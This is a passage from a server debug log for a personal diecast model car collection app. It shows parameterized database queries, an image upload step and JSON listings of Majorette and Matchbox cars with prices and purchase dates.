      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-12T11:43:00.448Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T11:43:00.448Z server-connect:app Executing action step identify
2026-02-12T11:43:00.448Z server-connect:app options: { provider: 'security' }
2026-02-12T11:43:00.448Z server-connect:output identity: 1
2026-02-12T11:43:00.448Z server-connect:app Executing action step restrict
2026-02-12T11:43:00.448Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:43:00.449Z server-connect:output restrict: undefined
2026-02-12T11:43:00.449Z server-connect:app Executing action step paged
2026-02-12T11:43:00.449Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T11:43:00.452Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-12T11:48:16.307Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-12T11:48:16.310Z server-connect:app Executing action step identify
2026-02-12T11:48:16.310Z server-connect:app options: { provider: 'security' }
2026-02-12T11:48:16.310Z server-connect:output identity: 1
2026-02-12T11:48:16.310Z server-connect:app Executing action step restrict
2026-02-12T11:48:16.310Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:48:16.312Z server-connect:output restrict: undefined
2026-02-12T11:48:16.314Z server-connect:app Executing action step condition
2026-02-12T11:48:16.315Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-12T11:48:16.315Z server-connect:app Executing action step insert
2026-02-12T11:48:16.315Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-12T11:48:16.318Z server-connect:output insert: { affected: 1, identity: 189 }
2026-02-12T11:48:16.318Z server-connect:app Executing action step condition
2026-02-12T11:48:16.318Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-12T11:48:16.319Z server-connect:app Executing action step upload
2026-02-12T11:48:16.319Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-12T11:48:16.320Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-12T11:48:16.320Z server-connect:upload Process fields: 'images[]'
2026-02-12T11:48:16.320Z server-connect:upload Processing file: {
  name: '61u47i9kLGL._SX522_.jpg',
  data: <Buffer >,
  size: 32037,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-1-23842471770896896303',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '5c72547a3f49576b0b83bd1a059b64ba',
  mv: [Function: mv]
}
2026-02-12T11:48:16.321Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/61u47i9kLGL._SX522__cb40aa3e-f17c-4a93-99d3-3906f6a8f417.jpg',
  rel: 'public/assets/images/diecast/61u47i9kLGL._SX522__cb40aa3e-f17c-4a93-99d3-3906f6a8f417.jpg'
}
2026-02-12T11:48:16.321Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/61u47i9kLGL._SX522__cb40aa3e-f17c-4a93-99d3-3906f6a8f417.jpg',
  rel: 'assets/images/diecast/61u47i9kLGL._SX522__cb40aa3e-f17c-4a93-99d3-3906f6a8f417.jpg'
}
2026-02-12T11:48:16.321Z server-connect:output upload_image: [
  {
    name: '61u47i9kLGL._SX522__cb40aa3e-f17c-4a93-99d3-3906f6a8f417.jpg',
    path: '/public/assets/images/diecast/61u47i9kLGL._SX522__cb40aa3e-f17c-4a93-99d3-3906f6a8f417.jpg',
    url: '/assets/images/diecast/61u47i9kLGL._SX522__cb40aa3e-f17c-4a93-99d3-3906f6a8f417.jpg',
    type: 'image/jpeg',
    size: 32037
  }
]
2026-02-12T11:48:16.321Z server-connect:app Executing action step repeat
2026-02-12T11:48:16.322Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-12T11:48:16.322Z server-connect:app Executing action step insert
2026-02-12T11:48:16.322Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-12T11:48:16.323Z server-connect:output images: { affected: 1, identity: 226 }
2026-02-12T11:48:16.323Z server-connect:output repeat_images: [ {} ]
2026-02-12T11:48:16.323Z server-connect:output condition: undefined
2026-02-12T11:48:16.323Z server-connect:output condition: undefined
2026-02-12T11:48:16.622Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T11:48:16.622Z server-connect:app Executing action step identify
2026-02-12T11:48:16.622Z server-connect:app options: { provider: 'security' }
2026-02-12T11:48:16.622Z server-connect:output identity: 1
2026-02-12T11:48:16.622Z server-connect:app Executing action step restrict
2026-02-12T11:48:16.622Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:48:16.623Z server-connect:output restrict: undefined
2026-02-12T11:48:16.623Z server-connect:app Executing action step paged
2026-02-12T11:48:16.623Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T11:48:16.628Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 31,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
